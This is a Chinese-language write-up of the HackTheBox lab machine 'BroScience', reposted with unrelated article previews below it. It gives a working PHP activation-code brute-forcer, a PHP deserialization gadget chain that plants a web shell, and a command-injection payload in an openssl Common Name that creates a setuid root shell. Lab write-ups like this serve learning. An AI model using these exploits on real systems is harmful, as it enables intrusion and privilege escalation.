HackTheBox - Medium - Linux - BroScience

BroScience

BroScience 是一款中等难度的 Linux 机器,其特点是 Web 应用程序容易受到“LFI”的攻击。通过读取目标上的任意文件的能力,攻击者可以深入了解帐户激活码的生成方式,从而能够创建一组可能有效的令牌来激活新创建的帐户。登录后,进一步枚举显示该站点'的主题选择器功能容易受到使用自定义小工具链的 PHP 反序列化的影响,允许攻击者复制目标系统上的文件,最终导致远程代码执行。一旦站稳了脚跟,就会从数据库中恢复一些哈希值,一旦被破解,就会证明其中包含机器的有效“SSH”密码'的主要用户“bill”。最后,权限升级基于执行 Bash 脚本的 cronjob,该脚本容易受到通过“openssl”生成的证书进行命令注入的攻击,从而丧失对攻击者的“root”访问权限。


外部信息收集

端口扫描

循例nmap

file

Web枚举

在主页源码中可以看到img.php包含图片文件名来显示图片

file

但是会检测“/”,通过对%进行url enocde,实现二次url编码绕过

file

注册的时候需要激活码,然而这激活码是不可能发到我们的邮箱的

file

通过LFI读register.php,可以看到其调用utils.php中的生成函数

// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
...
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";

跟到utils.php

file

它通过时间戳来做随机数种子,而与这个时间戳最接近并且我们能够获取到的,也就是register.php返回的响应头中的Date,将其转为时间戳,再做容错

首先注册一个账户

file

将响应头的Date拿去转换

file

exp

<?php
function generate_activation_code($time) {$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";srand($time);$activation_code = "";for ($i = 0; $i < 32; $i++) {$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];}echo $activation_code . "\n";
}$time = 1704279054;for ($t = $time;$t <= $time + 20; $t++){generate_activation_code($t);
}?>

将生成的code保存到文件,ffuf跑一下

file

code应该是有时效的,及时到activate.php上激活

file

登录

file

Foothold

继续通过LFI读user.php

file

跟回到utils.php

class UserPrefs {public $theme;public function __construct($theme = "light") {$this->theme = $theme;}
}function get_theme() {if (isset($_SESSION['id'])) {if (!isset($_COOKIE['user-prefs'])) {$up_cookie = base64_encode(serialize(new UserPrefs()));setcookie('user-prefs', $up_cookie);} else {$up_cookie = $_COOKIE['user-prefs'];}$up = unserialize(base64_decode($up_cookie));return $up->theme;} else {return "light";}
}...

不需要脑子的反序列化,exp

<?phpclass Avatar {public $imgPath;public function __construct($imgPath) {$this->imgPath = $imgPath;}public function save($tmp) {$f = fopen($this->imgPath, "w");fwrite($f, file_get_contents($tmp));fclose($f);}
}class AvatarInterface {public $tmp = '/var/lib/php/sessions/sess_76n6mi015r86vgf1blcnmnhqtl';public $imgPath = "/var/www/html/cmd.php"; public function __wakeup() {$a = new Avatar($this->imgPath);$a->save($this->tmp);}
}$a = new AvatarInterface();
echo base64_encode(serialize($a));

将base64复制到Cookie

file

用相同的方法注册并激活一个恶意用户,并且登录

file

再打一遍反序列化exp。cmd.php

file

常规python3 reverse shell

file

本地横向移动

db_connect.php

file

psql进数据库

file

查表

file

直接select * from users;

file

bill是目标系统上的账户,爆破它的密码hash对我们有利,拿上前面读到的salt进行爆破

file

登ssh

file

本地权限提升

传个pspy

file

它会先检查/home/bill/Certs/broscience.crt证书是否是一天内到期

file

然后它会生成一个证书,并且执行一个bash命令,而我们可以劫持$commonName

file

在生成证书的时候,我们向CommonName写入cmd

ill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -out broscience.crt -days 1
...
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(cp /bin/bash /tmp/bash;chmod +s /tmp/bash)
Email Address []:
...

等一会,迎接老朋友的到来

file

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/594824.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

canvas绘制椭圆形示例

查看专栏目录 canvas示例教程100专栏&#xff0c;提供canvas的基础知识&#xff0c;高级动画&#xff0c;相关应用扩展等信息。canvas作为html的一部分&#xff0c;是图像图标地图可视化的一个重要的基础&#xff0c;学好了canvas&#xff0c;在其他的一些应用上将会起到非常重…

Liunx(CentOS)安装Nacos(单机启动,绑定Mysql)

Liunx安装Nacos(单机启动&#xff0c;绑定Mysql) 一&#xff0c;准备安装包 github下载点 二&#xff0c;在/usr/local/目录下创建一个文件夹用于上传和解压Nacos cd /usr/local/ #这里创建文件夹名字可随意&#xff0c;解压后会生成一个名为nacos的文件夹&#xff0c;后续…

MySQL在哪些情况下不使用索引

MySQL在哪些情况下不使用索引 尽管索引可以显著提高数据库的查询性能&#xff0c;但在某些情况下&#xff0c;MySQL 可能不会使用索引&#xff0c;或者索引的效果可能不如预期。以下是一些情况&#xff0c;在这些情况下 MySQL 可能不使用索引&#xff1a; 小表&#xff1a; 当…

阿里云Alibaba Cloud Linux 2镜像操作系统版本大全

Alibaba Cloud Linux阿里云打造的Linux服务器操作系统发行版&#xff0c;Alibaba Cloud Linux完全兼容完全兼容CentOS/RHEL生态和操作方式&#xff0c;目前已经推出Alibaba Cloud Linux 3&#xff0c;阿里云百科aliyunbaike.com分享Alibaba Cloud Linux 2版本特性说明&#xff…

❀记忆冒泡、选择和插入排序算法思想在bash里运用❀

目录 冒泡排序算法:) 选择排序算法:) 插入排序算法:) 冒泡排序算法:) 思想&#xff1a;依次比较相邻两个元素&#xff0c;重复的进行直到没有相邻元素需要交换&#xff0c;排序完成。 #!/bin/bash arr(12 324 543 213 65 64 1 3 45) #定义一个数组 n${#arr[*]} #获取数组…

海外静态IP和动态IP有什么区别?推荐哪种?

什么是静态ip、动态ip&#xff0c;二者有什么区别&#xff1f;哪种好&#xff1f;关于这个问题&#xff0c;不难发现&#xff0c;在知道、知乎上面的解释有很多&#xff0c;但据小编的发现&#xff0c;这些回答都是关于静态ip和动态ip的专业术语解释&#xff0c;普通非专业人事…

vue3如何实现动态路由

首先明白什么是动态路由&#xff0c;路由的触发往往是由菜单决定的&#xff0c;那么就要先理解什么是动态菜单&#xff0c;动态菜单就是说每个用户的角色不同&#xff0c;看到的菜单&#xff0c;往往也是不同的&#xff0c;管理员看到的肯定会多一些&#xff0c;那么因为有不同…

一、初识Redis与分布式系统

目录 一、Redis应用 二、实现方式 三、Redis应用 四、分布式系统 五、分布式系统实现 1、应用服务和数据库服务分离 2、引入负载均衡&#xff0c;应用服务器集群&#xff08;解决高并发&#xff09; 3、引入读写分离&#xff0c;数据库主从结构&#xff08;解决高并发&a…

Spark---RDD算子(单值类型Value)

文章目录 1.RDD算子介绍2.转换算子2.1 Value类型2.1.1 map2.1.2 mapPartitions2.1.3 mapPartitionsWithIndex2.1.4 flatMap2.1.5 glom2.1.6 groupBy2.1.7 filter2.1.8 sample2.1.9 distinct2.1.10 coalesce2.1.11 repartition2.1.12 sortBy 1.RDD算子介绍 RDD算子是用于对RDD进…

力扣225. 用队列实现栈

题目 请你仅使用两个队列实现一个后入先出&#xff08;LIFO&#xff09;的栈&#xff0c;并支持普通栈的全部四种操作&#xff08;push、top、pop 和 empty&#xff09;。 实现 MyStack 类&#xff1a; void push(int x) 将元素 x 压入栈顶。int pop() 移除并返回栈顶元素。int…

【UEFI基础】EDK网络框架(基础说明)

基础说明 UEFI中的网络框架大致如下&#xff1a; 红框部分是实现UEFI的EDK2开源项目中网络框架自带的实现&#xff0c;红框之外的部分需要网卡设备商提供驱动。UEFI下通常推荐使用最右边的形式&#xff0c;即网卡设备商提供实现了UNDI的网卡驱动。因此UEFI网络框架的另一个形式…

线性代数_对称矩阵

对称矩阵是线性代数中一种非常重要的矩阵结构&#xff0c;它具有许多独特的性质和应用。下面是对称矩阵的详细描述&#xff1a; ### 定义 对称矩阵&#xff0c;即对称方阵&#xff0c;是指一个n阶方阵A&#xff0c;其转置矩阵等于其本身&#xff0c;即A^T A。这意味着方阵A中的…

一种多串口冗余设计解决思路

需求 总共11个串口&#xff0c;现在每个串口接收BUFF分配1024个字节的收发缓冲区。原始方法将11个串口全部进行初始化&#xff0c;分配大串口&#xff0c;由于单片机RAM不足&#xff0c;现在将串口1和串口2固定分配为大串口&#xff0c;串口3-11随机选择2个作为大串口&#xf…

python 知识点

ping ping 不能带协议&#xff0c;如&#xff1a;ping baidu.com 引入包顺序 分三级&#xff0c;第一级是 Python 的内置库&#xff0c;第二级是第三方库&#xff0c;第三级是自己的代码。每一级用一个空行间隔 运算符 keyError&#xff1a;key不存在 列表推导式 创建字典 字…

git 如何撤销历史某次merge

git&#xff0c;如何 撤销某一次历史提交或merge&#xff0c;并保留该版本的后续提交&#xff1f; 场景1&#xff1a; 你有两个功能迭代版本的分支&#xff0c;一个是 15 号上线&#xff0c;一个是25号上线。5号的时候产品突然说&#xff0c;这两个版本一起上&#xff0c;然后…

Moonsong Labs与Web3演变

作者&#xff1a;Derek Yoo 创建Moonsong Labs的理由 我们创建了Moonsong Labs&#xff0c;其使命是创建推动Web3采用的软件基础设施协议。我们的动力来自这样一个观念&#xff0c;即Web3使人类相互交往更加透明、高效和公正。这无疑是一个值得努力实现的目标&#xff0c;但更…

变量和函数提升(js的问题)

• js解释执行 • 变量和函数提升 变量声明提前&#xff0c;函数声明提前 • 变量声明提前&#xff1a;值停留在本地 • 函数声明提前&#xff1a;整个函数体提前 如果是var赋值声明的函数&#xff0c;变量提前&#xff0c;函数体停留在本地 1、变量提…

Flutter 中的 Stream:异步编程的利器

在Flutter中&#xff0c;异步编程是非常重要的一部分&#xff0c;特别是在处理用户输入、网络请求或其他涉及时间的操作时。Flutter提供了一种强大的工具&#xff0c;称为Stream&#xff0c;用于简化异步编程的过程。 什么是 Stream&#xff1f; Stream是一种用于处理异步数据…

从0到1实战微服务架构之打造在线营销平台(一)

目录 一、前言 二、在线营销平台涉及的微服务 2.1营销中心 2.2商品中心 2.3库存中心 2.4订购中心 2.5用户中心 三、技术栈 3.1 微服务框架 3.2 中间件的使用 3.3 持续集成 3.4 系统部署 3.5 系统监控 四、总结 一、前言 随着人们生活水平的提高&#xff0c;消费…

【REST2SQL】03 GO读取JSON文件

REST2SQL需要一些配置信息&#xff0c;用JSON文件保存&#xff0c;比如config.json 1 创建config.json配置文件 {"hostPort":"localhost:5217","connString":"oracle://blma:5217127.0.0.1:1521/CQYH","_oracle":"ora…